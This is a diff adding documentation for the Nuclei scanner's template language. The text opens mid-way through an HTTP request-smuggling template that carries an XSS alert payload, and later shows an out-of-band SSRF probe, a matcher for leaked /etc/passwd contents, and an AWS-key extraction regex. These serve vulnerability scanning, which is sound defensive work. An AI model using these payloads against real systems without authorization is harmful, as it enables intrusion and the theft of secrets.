Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 150
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
GET /post?postId=5 HTTP/1.1
|
||||
User-Agent: a"/><script>alert(1)</script>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 5
|
||||
|
||||
x=1
|
||||
- |+
|
||||
GET /post?postId=5 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
unsafe: true # Enables rawhttp client
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "<script>alert(1)</script>")'
|
||||
```
|
||||
11
docs/template-guide/introduction.mdx
Normal file
@ -0,0 +1,11 @@
|
||||
---
|
||||
title: 'Introduction'
|
||||
---
|
||||
|
||||
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
|
||||
|
||||
The templates are written in `YAML` which specifies a simple human-readable format to quickly define the execution process.
|
||||
|
||||
<Card title="Get Started" icon="book-open">
|
||||
Guide to write your own nuclei template
|
||||
</Card>
|
||||
169
docs/template-guide/network.mdx
Normal file
@ -0,0 +1,169 @@
|
||||
---
|
||||
title: "Network"
|
||||
---
|
||||
|
||||
## Network Requests
|
||||
|
||||
Nuclei can act as an automatable **Netcat**, allowing users to send bytes across the wire and receive them, while providing matching and extracting capabilities on the response.
|
||||
|
||||
Network Requests start with a **network** block which specifies the start of the requests for the template.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
tcp:
|
||||
```
|
||||
|
||||
### Inputs
|
||||
|
||||
First thing in the request is **inputs**. Inputs are the data that will be sent to the server, and optionally any data to read from the server.
|
||||
|
||||
At it's most simple, just specify a string, and it will be sent across the network socket.
|
||||
|
||||
```yaml
|
||||
# inputs is the list of inputs to send to the server
|
||||
inputs:
|
||||
- data: "TEST\r\n"
|
||||
```
|
||||
|
||||
You can also send hex encoded text that will be first decoded and the raw bytes will be sent to the server.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- data: "50494e47"
|
||||
type: hex
|
||||
- data: "\r\n"
|
||||
```
|
||||
|
||||
Helper function expressions can also be defined in input and will be first evaluated and then sent to the server. The last Hex Encoded example can be sent with helper functions this way -
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- data: 'hex_decode("50494e47")\r\n'
|
||||
```
|
||||
|
||||
One last thing that can be done with inputs is reading data from the socket. Specifying `read-size` with a non-zero value will do the trick. You can also assign the read data some name, so matching can be done on that part.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- read-size: 8
|
||||
```
|
||||
|
||||
Example with reading a number of bytes, and only matching on them.
|
||||
|
||||
```yaml
|
||||
inputs:
|
||||
- read-size: 8
|
||||
name: prefix
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: prefix
|
||||
words:
|
||||
- "CAFEBABE"
|
||||
```
|
||||
|
||||
Multiple steps can be chained together in sequence to do network reading / writing.
|
||||
|
||||
### Host
|
||||
|
||||
The next part of the requests is the **host** to connect to. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
|
||||
|
||||
1. **Hostname** - variable is replaced by the hostname provided on command line.
|
||||
|
||||
An example name value:
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
```
|
||||
|
||||
Nuclei can also do TLS connection to the target server. Just add `tls://` as prefix before the **Hostname** and you're good to go.
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "tls://{{Hostname}}"
|
||||
```
|
||||
|
||||
If a port is specified in the host, the user supplied port is ignored and the template port takes precedence.
|
||||
|
||||
### Port
|
||||
|
||||
Starting from Nuclei v2.9.15, a new field called `port` has been introduced in network templates. This field allows users to specify the port separately instead of including it in the host field.
|
||||
|
||||
Previously, if you wanted to write a network template for an exploit targeting SSH, you would have to specify both the hostname and the port in the host field, like this:
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
- "{{Host}}:22"
|
||||
```
|
||||
|
||||
In the above example, two network requests are sent: one to the port specified in the input/target, and another to the default SSH port (22).
|
||||
|
||||
The reason behind introducing the port field is to provide users with more flexibility when running network templates on both default and non-default ports. For example, if a user knows that the SSH service is running on a non-default port of 2222 (after performing a port scan with service discovery), they can simply run:
|
||||
|
||||
```bash
|
||||
$ nuclei -u scanme.sh:2222 -id xyz-ssh-exploit
|
||||
```
|
||||
|
||||
In this case, Nuclei will use port 2222 instead of the default port 22. If the user doesn't specify any port in the input, port 22 will be used by default. However, this approach may not be straightforward to understand and can generate warnings in logs since one request is expected to fail.
|
||||
|
||||
Another issue with the previous design of writing network templates is that requests can be sent to unexpected ports. For example, if a web service is running on port 8443 and the user runs:
|
||||
|
||||
```bash
|
||||
$ nuclei -u scanme.sh:8443
|
||||
```
|
||||
|
||||
In this case, `xyz-ssh-exploit` template will send one request to `scanme.sh:22` and another request to `scanme.sh:8443`, which may return unexpected responses and eventually result in errors. This is particularly problematic in automation scenarios.
|
||||
|
||||
To address these issues while maintaining the existing functionality, network templates can now be written in the following way:
|
||||
|
||||
```yaml
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 22
|
||||
```
|
||||
In this new design, the functionality to run templates on non-standard ports will still exist, except for the default reserved ports (`80`, `443`, `8080`, `8443`, `8081`, `53`). Additionally, the list of default reserved ports can be customized by adding a new field called exclude-ports:
|
||||
|
||||
```yaml
|
||||
exclude-ports: 80,443
|
||||
```
|
||||
When `exclude-ports` is used, the default reserved ports list will be overwritten. This means that if you want to run a network template on port `80`, you will have to explicitly specify it in the port field.
|
||||
|
||||
#### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Network** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-------------------------------------|
|
||||
| request | Network Request |
|
||||
| data | Final Data Read From Network Socket |
|
||||
| raw / body / all | All Data received from Socket |
|
||||
|
||||
### **Example Network Template**
|
||||
|
||||
The final example template file for a `hex` encoded input to detect MongoDB running on servers with working matchers is provided below.
|
||||
|
||||
```yaml
|
||||
id: input-expressions-mongodb-detect
|
||||
|
||||
info:
|
||||
name: Input Expression MongoDB Detection
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://github.com/orleven/Tentacle
|
||||
|
||||
tcp:
|
||||
- inputs:
|
||||
- data: "{{hex_decode('3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000')}}"
|
||||
host:
|
||||
- "{{Hostname}}"
|
||||
port: 27017
|
||||
read-size: 2048
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "logicalSessionTimeout"
|
||||
- "localTime"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/network).
|
||||
72
docs/template-guide/oob-testing.mdx
Normal file
@ -0,0 +1,72 @@
|
||||
---
|
||||
title: "OOB Testing"
|
||||
---
|
||||
|
||||
Since release of [Nuclei v2.3.6](https://github.com/projectdiscovery/nuclei/releases/tag/v2.3.6), Nuclei supports using the [interact.sh](https://github.com/projectdiscovery/interactsh) API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It's as easy as writing `{{interactsh-url}}` anywhere in the request, and adding a matcher for `interact_protocol`. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.
|
||||
|
||||
## Interactsh Placeholder
|
||||
|
||||
`{{interactsh-url}}` placeholder is supported in **http** and **network** requests.
|
||||
|
||||
An example of nuclei request with `{{interactsh-url}}` placeholders is provided below. These are replaced on runtime with unique interact.sh URLs.
|
||||
|
||||
```yaml
|
||||
- raw:
|
||||
- |
|
||||
GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
```
|
||||
|
||||
## Interactsh Matchers
|
||||
|
||||
Interactsh interactions can be used with `word`, `regex` or `dsl` matcher/extractor using following parts.
|
||||
|
||||
| part |
|
||||
|---------------------|
|
||||
| interactsh_protocol |
|
||||
| interactsh_request |
|
||||
| interactsh_response |
|
||||
|
||||
<Note>
|
||||
**interactsh_protocol**
|
||||
|
||||
Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**interactsh_request**
|
||||
|
||||
The request that the interact.sh server received.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
**interactsh_response**
|
||||
|
||||
The response that the interact.sh server sent to the client.
|
||||
</Note>
|
||||
|
||||
Example of Interactsh DNS Interaction matcher:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
```
|
||||
|
||||
Example of HTTP Interaction matcher + word matcher on Interaction content
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "http"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request # Confirms the retrieval of /etc/passwd file
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
```
|
||||
122
docs/template-guide/operators/extractors.mdx
Normal file
@ -0,0 +1,122 @@
|
||||
---
|
||||
title: "Extractors"
|
||||
---
|
||||
|
||||
## Extractors
|
||||
|
||||
Extractors can be used to extract and display in results a match from the response returned by a module.
|
||||
|
||||
|
||||
### Types
|
||||
|
||||
Multiple extractors can be specified in a request. As of now we support five type of extractors.
|
||||
|
||||
1. **regex** - Extract data from response based on a Regular Expression.
|
||||
2. **kval** - Extract `key: value`/`key=value` formatted data from Response Header/Cookie
|
||||
3. **json** - Extract data from JSON based response in JQ like syntax.
|
||||
4. **xpath** - Extract xpath based data from HTML Response
|
||||
5. **dsl** - Extract data from the response based on a DSL expressions.
|
||||
|
||||
### Regex Extractor
|
||||
|
||||
Example extractor for HTTP Response body using **regex** -
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex # type of the extractor
|
||||
part: body # part of the response (header,body,all)
|
||||
regex:
|
||||
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" # regex to use for extraction.
|
||||
```
|
||||
|
||||
### Kval Extractor
|
||||
|
||||
A **kval** extractor example to extract `content-type` header from HTTP Response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: kval # type of the extractor
|
||||
kval:
|
||||
- content_type # header/cookie value to extract from response
|
||||
```
|
||||
|
||||
Note that `content-type` has been replaced with `content_type` because **kval** extractor does not accept dash (`-`) as input and must be substituted with underscore (`_`).
|
||||
|
||||
### JSON Extractor
|
||||
|
||||
A **json** extractor example to extract value of `id` object from JSON block.
|
||||
|
||||
```yaml
|
||||
- type: json # type of the extractor
|
||||
part: body
|
||||
name: user
|
||||
json:
|
||||
- '.[] | .id' # JQ like syntax for extraction
|
||||
```
|
||||
|
||||
For more details about JQ - https://github.com/stedolan/jq
|
||||
|
||||
### Xpath Extractor
|
||||
|
||||
A **xpath** extractor example to extract value of `href` attribute from HTML response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: xpath # type of the extractor
|
||||
attribute: href # attribute value to extract (optional)
|
||||
xpath:
|
||||
- '/html/body/div/p[2]/a' # xpath value for extraction
|
||||
```
|
||||
|
||||
With a simple [copy paste in browser](https://www.scientecheasy.com/2020/07/find-xpath-chrome.html/), we can get the **xpath** value form any web page content.
|
||||
|
||||
### DSL Extractor
|
||||
|
||||
A **dsl** extractor example to extract the effective `body` length through the `len` helper function from HTTP Response.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: dsl # type of the extractor
|
||||
dsl:
|
||||
- len(body) # dsl expression value to extract from response
|
||||
```
|
||||
|
||||
### Dynamic Extractor
|
||||
|
||||
Extractors can be used to capture Dynamic Values on runtime while writing Multi-Request templates. CSRF Tokens, Session Headers, etc. can be extracted and used in requests. This feature is only available in RAW request format.
|
||||
|
||||
Example of defining a dynamic extractor with name `api` which will capture a regex based pattern from the request.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex
|
||||
name: api
|
||||
part: body
|
||||
internal: true # Required for using dynamic variables
|
||||
regex:
|
||||
- "(?m)[0-9]{3,10}\\.[0-9]+"
|
||||
```
|
||||
|
||||
The extracted value is stored in the variable **api**, which can be utilised in any section of the subsequent requests.
|
||||
|
||||
If you want to use extractor as a dynamic variable, you must use `internal: true` to avoid printing extracted values in the terminal.
|
||||
|
||||
An optional regex **match-group** can also be specified for the regex for more complex matches.
|
||||
|
||||
```yaml
|
||||
extractors:
|
||||
- type: regex # type of extractor
|
||||
name: csrf_token # defining the variable name
|
||||
part: body # part of response to look for
|
||||
# group defines the matching group being used.
|
||||
# In GO the "match" is the full array of all matches and submatches
|
||||
# match[0] is the full match
|
||||
# match[n] is the submatches. Most often we'd want match[1] as depicted below
|
||||
group: 1
|
||||
regex:
|
||||
- '<input\sname="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})"\s/>'
|
||||
```
|
||||
|
||||
The above extractor with name `csrf_token` will hold the value extracted by `([[:alnum:]]{16})` as `abcdefgh12345678`.
|
||||
|
||||
If no group option is provided with this regex, the above extractor with name `csrf_token` will hold the full match (by `<input name="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})" />`) as `<input name="csrf_token" type="hidden" value="abcdefgh12345678" />`.
|
||||
186
docs/template-guide/operators/matchers.mdx
Normal file
@ -0,0 +1,186 @@
|
||||
---
|
||||
title: "Matchers"
|
||||
---
|
||||
|
||||
## Matchers
|
||||
|
||||
Matchers allow different type of flexible comparisons on protocol responses. They are what makes nuclei so powerful, checks are very simple to write and multiple checks can be added as per need for very effective scanning.
|
||||
|
||||
### Types
|
||||
|
||||
Multiple matchers can be specified in a request. There are basically 7 types of matchers:
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|-----------------------------|
|
||||
| status | Integer Comparisons of Part |
|
||||
| size | Content Length of Part |
|
||||
| word | Part for a protocol |
|
||||
| regex | Part for a protocol |
|
||||
| binary | Part for a protocol |
|
||||
| dsl | Part for a protocol |
|
||||
| xpath | Part for a protocol |
|
||||
|
||||
To match status codes for responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
# Match the status codes
|
||||
- type: status
|
||||
# Some status codes we want to match
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
```
|
||||
|
||||
To match binary for hexadecimal responses, you can use the following syntax.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: binary
|
||||
binary:
|
||||
- "504B0304" # zip archive
|
||||
- "526172211A070100" # RAR archive version 5.0
|
||||
- "FD377A585A0000" # xz tar.xz archive
|
||||
condition: or
|
||||
part: body
|
||||
```
|
||||
|
||||
Matchers also support hex encoded data which will be decoded and matched.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
encoding: hex
|
||||
words:
|
||||
- "50494e47"
|
||||
part: body
|
||||
```
|
||||
|
||||
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
|
||||
|
||||
**XPath** matchers use XPath queries to match XML and HTML responses. If the XPath query returns any results, it's considered a match.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: xpath
|
||||
part: body
|
||||
xpath:
|
||||
- "/html/head/title[contains(text(), 'Example Domain')]"
|
||||
```
|
||||
|
||||
Complex matchers of type **dsl** allows building more elaborate expressions with helper functions. These function allow access to Protocol Response which contains variety of data based on each protocol. See protocol specific documentation to learn about different returned results.
|
||||
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
|
||||
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
|
||||
```
|
||||
|
||||
Every part of a Protocol response can be matched with DSL matcher. Some examples -
|
||||
|
||||
| Response Part | Description | Example |
|
||||
|----------------|-------------------------------------------------|------------------------|
|
||||
| content_length | Content-Length Header | content_length >= 1024 |
|
||||
| status_code | Response Status Code | status_code==200 |
|
||||
| all_headers | Unique string containing all headers | len(all_headers) |
|
||||
| body | Body as string | len(body) |
|
||||
| header_name | Lowercase header name with `-` converted to `_` | len(user_agent) |
|
||||
| raw | Headers + Response | len(raw) |
|
||||
|
||||
|
||||
### Conditions
|
||||
|
||||
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
|
||||
|
||||
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
|
||||
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
|
||||
|
||||
### Matched Parts
|
||||
|
||||
Multiple parts of the response can also be matched for the request, default matched part is `body` if not defined.
|
||||
|
||||
Example matchers for HTTP response body using the AND condition:
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
# Match the body word
|
||||
- type: word
|
||||
# Some words we want to match
|
||||
words:
|
||||
- "[core]"
|
||||
- "[config]"
|
||||
# Both words must be found in the response body
|
||||
condition: and
|
||||
# We want to match request body (default)
|
||||
part: body
|
||||
```
|
||||
|
||||
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
|
||||
|
||||
### Negative Matchers
|
||||
|
||||
All types of matchers also support negative conditions, mostly useful when you look for a match with an exclusions. This can be used by adding `negative: true` in the **matchers** block.
|
||||
|
||||
Here is an example syntax using `negative` condition, this will return all the URLs not having `PHPSESSID` in the response header.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
negative: true
|
||||
```
|
||||
|
||||
### Multiple Matchers
|
||||
|
||||
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
|
||||
|
||||
Here is an example of syntax for multiple matchers.
|
||||
|
||||
```yaml
|
||||
matchers:
|
||||
- type: word
|
||||
name: php
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
part: header
|
||||
- type: word
|
||||
name: node
|
||||
words:
|
||||
- "Server: NodeJS"
|
||||
- "X-Powered-By: nodejs"
|
||||
condition: or
|
||||
part: header
|
||||
- type: word
|
||||
name: python
|
||||
words:
|
||||
- "Python/2."
|
||||
- "Python/3."
|
||||
condition: or
|
||||
part: header
|
||||
```
|
||||
|
||||
### Matchers Condition
|
||||
|
||||
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
|
||||
|
||||
```yaml
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: PHP"
|
||||
- "PHPSESSID"
|
||||
condition: or
|
||||
part: header
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "PHP"
|
||||
part: body
|
||||
```
|
||||
32
docs/template-guide/preprocessors.mdx
Normal file
@ -0,0 +1,32 @@
|
||||
---
|
||||
title: "Preprocessors"
|
||||
---
|
||||
|
||||
## Template **Preprocessors**
|
||||
|
||||
Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run.
|
||||
|
||||
|
||||
### randstr
|
||||
|
||||
<Note>
|
||||
Generates a [random ID](https://github.com/rs/xid) for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. `randstr` can be suffixed by a number, and new random ids will be created for those names too. Ex. `{{randstr_1}}` which will remain same across the template.
|
||||
|
||||
`randstr` is also supported within matchers and can be used to match the inputs.
|
||||
</Note>
|
||||
|
||||
For example:-
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/level1/application/"
|
||||
headers:
|
||||
cmd: echo '{{randstr}}'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- '{{randstr}}'
|
||||
```
|
||||
53
docs/template-guide/template-details.mdx
Normal file
@ -0,0 +1,53 @@
|
||||
---
|
||||
title: "Template Details"
|
||||
---
|
||||
|
||||
Each template has a unique ID which is used during output writing to specify the template name for an output line.
|
||||
|
||||
The template file ends with **YAML** extension. The template files can be created any text editor of your choice.
|
||||
|
||||
```yaml
|
||||
id: git-config
|
||||
```
|
||||
|
||||
ID must not contain spaces. This is done to allow easier output parsing.
|
||||
|
||||
### Information
|
||||
|
||||
Next important piece of information about a template is the **info** block. Info block provides **name**, **author**, **severity**, **description**, **reference**, **tags** and `metadata`. It also contains **severity** field which indicates the severity of the template, **info** block also supports dynamic fields, so one can define N number of `key: value` blocks to provide more useful information about the template. **reference** is another popular tag to define external reference links for the template.
|
||||
|
||||
Another useful tag to always add in `info` block is **tags**. This allows you to set some custom tags to a template, depending on the purpose like `cve`, `rce` etc. This allows nuclei to identify templates with your input tags and only run them.
|
||||
|
||||
Example of an info block -
|
||||
```yaml
|
||||
info:
|
||||
name: Git Config File Detection Template
|
||||
author: Ice3man
|
||||
severity: medium
|
||||
description: Searches for the pattern /.git/config on passed URLs.
|
||||
reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/
|
||||
tags: git,config
|
||||
```
|
||||
Actual requests and corresponding matchers are placed below the info block, and they perform the task of making requests to target servers and finding if the template request was successful.
|
||||
|
||||
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired requests are made to the target sites.
|
||||
|
||||
|
||||
The best part of this is you can simply share your crafted template with your teammates, triage/security team to replicate the issue on the other side with ease.
|
||||
|
||||
#### Metadata
|
||||
|
||||
It's possible to add metadata nodes, for example, to integrates with [uncover](https://github.com/projectdiscovery/uncover) (cf. [Uncover Integration](https://nuclei.projectdiscovery.io/nuclei/get-started/#uncover-integration)).
|
||||
|
||||
The metadata nodes are crafted this way: `<engine>-query: '<query>'` where:
|
||||
|
||||
- `<engine>` is the search engine, equivalent of the value of the `-ue` option of nuclei or the `-e` option of uncover
|
||||
- `<query>` is the search query, equivalent of the value of the `-uq` option of nuclei or the `-q` option of uncover
|
||||
|
||||
For example for Shodan:
|
||||
|
||||
```
|
||||
info:
|
||||
metadata:
|
||||
shodan-query: 'vuln:CVE-2021-26855'
|
||||
```
|
||||
74
docs/template-guide/variables.mdx
Normal file
@ -0,0 +1,74 @@
|
||||
---
|
||||
title: "Variables"
|
||||
---
|
||||
|
||||
## Variables
|
||||
|
||||
Variables can be used to declare some values which remain constant throughout the template. The value of the variable once calculated does not change. Variables can be either simple strings or DSL helper functions. If the variable is a helper function, it is enclosed in double-curly brackets `{{<expression>}}`. Variables are declared at template level.
|
||||
|
||||
Example variables -
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
a1: "test" # A string variable
|
||||
a2: "{{to_lower(rand_base(5))}}" # A DSL function variable
|
||||
```
|
||||
|
||||
Currently, `dns`, `http`, `headless` and `network` protocols support variables.
|
||||
|
||||
Example of templates with variables -
|
||||
|
||||
```yaml
|
||||
# Variable example using HTTP requests
|
||||
id: variables-example
|
||||
|
||||
info:
|
||||
name: Variables Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
a1: "value"
|
||||
a2: "{{base64('hello')}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{FQDN}}
|
||||
Test: {{a1}}
|
||||
Another: {{a2}}
|
||||
stop-at-first-match: true
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "value"
|
||||
- "aGVsbG8="
|
||||
```
|
||||
|
||||
```yaml
|
||||
# Variable example for network requests
|
||||
id: variables-example
|
||||
|
||||
info:
|
||||
name: Variables Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
variables:
|
||||
a1: "PING"
|
||||
a2: "{{base64('hello')}}"
|
||||
|
||||
tcp:
|
||||
- host:
|
||||
- "{{Hostname}}"
|
||||
inputs:
|
||||
- data: "{{a1}}"
|
||||
read-size: 8
|
||||
matchers:
|
||||
- type: word
|
||||
part: data
|
||||
words:
|
||||
- "{{a2}}"
|
||||
```
|
||||
167
docs/template-guide/workflows.mdx
Normal file
@ -0,0 +1,167 @@
|
||||
---
|
||||
title: "Workflows"
|
||||
---
|
||||
|
||||
## Workflows
|
||||
|
||||
Workflows allow users to define an execution sequence for templates. The templates will be run on the defined conditions. These are the most efficient way to use nuclei, where all the templates are configured based on needs of users. This means, you can create Technology Based / Target based workflows, like WordPress Workflow, Jira Workflow which only run when the specific technology is detected.
|
||||
|
||||
All templates part of a workflow share a common execution context, hence the named extractors from a template are accessible to other templates just by referring to it with its name.
|
||||
|
||||
If the tech stack is known, we recommend creating your custom workflows to run your scans. This leads to much lower scan times with better results.
|
||||
|
||||
Workflows can be defined with `workflows` attribute, following the `template` / `subtemplates` and `tags` to execute.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: technologies/template-to-execute.yaml
|
||||
```
|
||||
|
||||
**Type of workflows**
|
||||
|
||||
1. Generic workflows
|
||||
2. Conditional workflows
|
||||
|
||||
### Generic Workflows
|
||||
|
||||
In generic workflow one can define single or multiple template to be executed from a single workflow file. It supports both files and directories as input.
|
||||
|
||||
A workflow that runs all config related templates on the list of give URLs.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: files/git-config.yaml
|
||||
- template: files/svn-config.yaml
|
||||
- template: files/env-file.yaml
|
||||
- template: files/backup-files.yaml
|
||||
- tags: xss,ssrf,cve,lfi
|
||||
```
|
||||
|
||||
A workflow that runs specific list of checks defined for your project.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: cves/
|
||||
- template: exposed-tokens/
|
||||
- template: exposures/
|
||||
- tags: exposures
|
||||
```
|
||||
### Conditional Workflows
|
||||
|
||||
You can also create conditional templates which execute after matching the condition from a previous template. This is mostly useful for vulnerability detection and exploitation as well as tech based detection and exploitation. Use-cases for this kind of workflows are vast and varied.
|
||||
|
||||
**Templates based condition check**
|
||||
|
||||
A workflow that executes subtemplates when base template gets matched.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: technologies/jira-detect.yaml
|
||||
subtemplates:
|
||||
- tags: jira
|
||||
- template: exploits/jira/
|
||||
```
|
||||
|
||||
**Matcher Name based condition check**
|
||||
|
||||
A workflow that executes subtemplates when a matcher of base template is found in result.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- template: exploits/vbulletin-exp1.yaml
|
||||
- template: exploits/vbulletin-exp2.yaml
|
||||
- name: jboss
|
||||
subtemplates:
|
||||
- template: exploits/jboss-exp1.yaml
|
||||
- template: exploits/jboss-exp2.yaml
|
||||
```
|
||||
|
||||
In similar manner, one can create as many and as nested checks for workflows as needed.
|
||||
|
||||
**Subtemplate and matcher name based multi level conditional check**
|
||||
|
||||
A workflow showcasing chain of template executions that run only if the previous templates get matched.
|
||||
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-yy-zz.yaml
|
||||
subtemplates:
|
||||
- template: cves/xx-xx-xx.yaml
|
||||
```
|
||||
|
||||
Conditional workflows are great examples of performing checks and vulnerability detection in most efficient manner instead of spraying all the templates on all the targets and generally come with good ROI on your time and is gentle for the targets as well.
|
||||
|
||||
### Shared Execution Context
|
||||
|
||||
Nuclei engine supports transparent workflow cookiejar and key-value sharing across templates parts of a same workflow. Here follow an example of a workflow that extract a value from the first template and use it in the second conditional one:
|
||||
|
||||
```yaml
|
||||
id: key-value-sharing-example
|
||||
info:
|
||||
name: Key Value Sharing Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
workflows:
|
||||
- template: template-with-named-extractor.yaml
|
||||
subtemplates:
|
||||
- template: template-using-named-extractor.yaml
|
||||
```
|
||||
|
||||
For example, the following templates extract `href` links from a target web page body and make the value available under the `extracted` key:
|
||||
|
||||
```yaml
|
||||
# template-with-named-extractor.yaml
|
||||
|
||||
id: value-sharing-template1
|
||||
|
||||
info:
|
||||
name: value-sharing-template1
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- path:
|
||||
- "{{BaseURL}}/path1"
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
name: extracted
|
||||
regex:
|
||||
- 'href="(.*)"'
|
||||
group: 1
|
||||
```
|
||||
|
||||
Finally the second template in the workflow will use the obtained value by referencing the extractor name (`extracted`):
|
||||
|
||||
```yaml
|
||||
# template-using-named-extractor.yaml
|
||||
|
||||
id: value-sharing-template2
|
||||
|
||||
info:
|
||||
name: value-sharing-template2
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /path2 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{extracted}}
|
||||
```
|
||||
|
||||
More complete workflow examples are provided [here](/template-example/workflow)
|
||||
@ -0,0 +1,29 @@
|
||||
id: file-upload
|
||||
# template for testing when file upload is disabled
|
||||
info:
|
||||
name: Basic File Upload
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}"
|
||||
- action: waitload
|
||||
- action: files
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/form/input[1]
|
||||
